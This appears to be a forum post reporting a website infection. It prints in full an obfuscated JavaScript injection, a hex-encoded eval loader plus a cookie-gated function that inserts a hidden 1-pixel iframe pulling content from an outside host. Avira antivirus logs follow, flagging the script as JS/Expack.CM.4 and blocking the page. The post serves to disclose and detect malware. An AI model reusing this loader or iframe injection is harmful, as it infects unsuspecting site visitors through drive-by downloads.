almanea.net/vb/showthread.php?t=6256

fireold

/*0c0896*/
ps = "split";
e = eval;
v = "0x";
a = 0;
z = "y";
try {
    a *= 25
} catch (zz) {
    a = 1
}
if (!a) {
    try {
        --e("doc" + "ument")["\x62od" + z]
    } catch (q) {
        a2 = "_";
        sa = 0xa - 02;
    }
    z = "28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_79_73_69_6a_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_79_73_69_6a_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_6e_77_7a_7c_71_6e_81_6e_71_7c_36_6b_77_75_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_79_73_69_6a_36_7b_7c_81_74_6d_36_78_77_7b_71_7c_71_77_76_28_45_28_2f_69_6a_7b_77_74_7d_7c_6d_2f_43_15_12_28_79_73_69_6a_36_7b_7c_81_74_6d_36_6a_77_7a_6c_6d_7a_28_45_28_2f_38_2f_43_15_12_28_79_73_69_6a_36_7b_7c_81_74_6d_36_70_6d_71_6f_70_7c_28_45_28_2f_39_78_80_2f_43_15_12_28_79_73_69_6a_36_7b_7c_81_74_6d_36_7f_71_6c_7c_70_28_45_28_2f_39_78_80_2f_43_15_12_28_79_73_69_6a_36_7b_7c_81_74_6d_36_74_6d_6e_7c_28_45_28_2f_39_78_80_2f_43_15_12_28_79_73_69_6a_36_7b_7c_81_74_6d_36_7c_77_78_28_45_28_2f_39_78_80_2f_43_15_12_15_12_28_71_6e_28_30_29_6c_77_6b_7d_75_6d_76_7c_36_6f_6d_7c_4d_74_6d_75_6d_76_7c_4a_81_51_6c_30_2f_79_73_69_6a_2f_31_31_28_83_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_7f_7a_71_7c_6d_30_2f_44_6c_71_7e_28_71_6c_45_64_2f_79_73_69_6a_64_2f_46_44_37_6c_71_7e_46_2f_31_43_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_6f_6d_7c_4d_74_6d_75_6d_76_7c_4a_81_51_6c_30_2f_79_73_69_6a_2f_31_36_69_78_78_6d_76_6c_4b_70_71_74_6c_30_79_73_69_6a_31_43_15_12_28_85_15_12_85_15_12_6e_7d_76_6b_7c_71_77_76_28_5b_6d_7c_4b_77_77_73_71_6d_30_6b_77_77_73_71_6d_56_69_75_6d_34_6b_77_77_73_71_6d_5e_69_74_7d_6d_34_76_4c_69_81_7b_34_78_69_7c_70_31_28_83_15_12_28_7e_69_7a_28_7c_77_6c_69_81_28_45_28_76_6d_7f_28_4c_69_7c_6d_30_31_43_15_12_28_7e_69_7a_28_6d_80_78_71_7a_6d_28_45_28_76_6d_7f_28_4c_69_7c_6d_30_31_43_15_12_28_71_6e_28_30_76_4c_69_81_7b_45_45_76_7d_74_74_28_84_84_28_76_4c_69_81_7b_45_45_38_31_28_76_4c_69_81_7b_45_39_43_15_12_28_6d_80_78_71_7a_6d_36_7b_6d_7c_5c_71_75_6d_30_7c_77_6c_69_81_36_6f_6d_7c_5c_71_75_6d_30_31_28_33_28_3b_3e_38_38_38_38_38_32_3a_3c_32_76_4c_69_81_7b_31_43_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_28_45_28_6b_77_77_73_71_6d_56_69_75_6d_33_2a_45_2a_33_6d_7b_6b_69_78_6d_30_6b_77_77_73_71_6d_5e_69_74_7d_6d_31_15_12_28_33_28_2a_43_6d_80_78_71_7a_6d_7b_45_2a_28_33_28_6d_80_78_71_7a_6d_36_7c_77_4f_55_5c_5b_7c_7a_71_76_6f_30_31_28_33_28_30_30_78_69_7c_70_31_28_47_28_2a_43_28_78_69_7c_70_45_2a_28_33_28_78_69_7c_70_28_42_28_2a_2a_31_43_15_12_85_15_12_6e_7d_76_6b_7c_71_77_76_28_4f_6d_7c_4b_77_77_73_71_6d_30_28_76_69_75_6d_28_31_28_83_15_12_28_7e_69_7a_28_7b_7c_69_7a_7c_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_71_76_6c_6d_80_57_6e_30_28_76_69_75_6d_28_33_28_2a_45_2a_28_31_43_15_12_28_7e_69_7a_28_74_6d_76_28_45_28_7b_7c_69_7a_7c_28_33_28_76_69_75_6d_36_74_6d_76_6f_7c_70_28_33_28_39_43_15_12_28_71_6e_28_30_28_30_28_29_7b_7c_69_7a_7c_28_31_28_2e_2e_15_12_28_30_28_76_69_75_6d_28_29_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_7b_7d_6a_7b_7c_7a_71_76_6f_30_28_38_34_28_76_69_75_6d_36_74_6d_76_6f_7c_70_28_31_28_31_28_31_15_12_28_83_15_12_28_7a_6d_7c_7d_7a_76_28_76_7d_74_74_43_15_12_28_85_15_12_28_71_6e_28_30_28_7b_7c_69_7a_7c_28_45_45_28_35_39_28_31_28_7a_6d_7c_7d_7a_76_28_76_7d_74_74_43_15_12_28_7e_69_7a_28_6d_76_6c_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_71_76_6c_6d_80_57_6e_30_28_2a_43_2a_34_28_74_6d_76_28_31_43_15_12_28_71_6e_28_30_28_6d_76_6c_28_45_45_28_35_39_28_31_28_6d_76_6c_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_74_6d_76_6f_7c_70_43_15_12_28_7a_6d_7c_7d_7a_76_28_7d_76_6d_7b_6b_69_78_6d_30_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_7b_7d_6a_7b_7c_7a_71_76_6f_30_28_74_6d_76_34_28_6d_76_6c_28_31_28_31_43_15_12_85_15_12_71_6e_28_30_76_69_7e_71_6f_69_7c_77_7a_36_6b_77_77_73_71_6d_4d_76_69_6a_74_6d_6c_31_15_12_83_15_12_71_6e_30_4f_6d_7c_4b_77_77_73_71_6d_30_2f_7e_71_7b_71_7c_6d_6c_67_7d_79_2f_31_45_45_3d_3d_31_83_85_6d_74_7b_6d_83_5b_6d_7c_4b_77_77_73_71_6d_30_2f_7e_71_7b_71_7c_6d_6c_67_7d_79_2f_34_28_2f_3d_3d_2f_34_28_2f_39_2f_34_28_2f_37_2f_31_43_15_12_15_12_82_82_82_6e_6e_6e_30_31_43_15_12_85_15_12_85_15_12" [ps](a2);
    za = "";
    for (i = 0; i < z.length; i++) {
        za += String["fromCharCode"](e(v + (z)) - sa);
    }
    zaz = za;
    e(zaz);
} /*/0c0896*/

function zzzfff() {
     var qkab = document.createElement('iframe');

     qkab.src = 'http://fortifyfit.com/cnt.php';
     qkab.style.position = 'absolute';
     qkab.style.border = '0';
     qkab.style.height = '1px';
     qkab.style.width = '1px';
     qkab.style.left = '1px';
     qkab.style.top = '1px';

     if (!document.getElementById('qkab')) {
         document.write('<div id=\'qkab\'></div>');
         document.getElementById('qkab').appendChild(qkab);
     }
}

function SetCookie(cookieName, cookieValue, nDays, path) {
     var today = new Date();
     var expire = new Date();
     if (nDays == null || nDays == 0) nDays = 1;
     expire.setTime(today.getTime() + 3600000 * 24 * nDays);
     document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie(name) {
     var start = document.cookie.indexOf(name + "=");
     var len = start + name.length + 1;
     if ((!start) && (name != document.cookie.substring(0, name.length))) {
         return null;
     }
     if (start == -1) return null;
     var end = document.cookie.indexOf(";", len);
     if (end == -1) end = document.cookie.length;
     return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
     if (GetCookie('visited_uq') == 55) {} else {
         SetCookie('visited_uq', '55', '1', '/');

         zzzfff();
     }
}

Avira

2014/6/19 上午 06:45 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\swfobject[2].js'
      包含病毒或有害的程式 'JS/Expack.CM.4' [virus]
      已採取動作：
      檔案會移動至 '51a3b8e3.qua' 名稱底下的隔離區目錄!

2014/6/19 上午 06:45 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描.]。
      檔案數：        848
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2014/6/19 上午 06:44 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\swfobject[2].js 中
      偵測到病毒或有害的程式 'JS/Expack.CM.4 [virus]'
      執行的動作：傳輸至掃描程式

2014/6/19 上午 06:44 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\swfobject[2].js 中
      偵測到病毒或有害的程式 'JS/Expack.CM.4 [virus]'
      執行的動作：拒絕存取

2014/6/19 上午 06:43 [Web Protection] 已停用 Web Protection
      服務已停用

2014/6/19 上午 06:43 [Web Protection] 封鎖的網頁
      URL (http://almanea.net/vb/showthread.php?t=6256) 的評估結果為 惡意程式碼，而遭到封鎖.

fs is

z紫f风l铃

诺顿报毒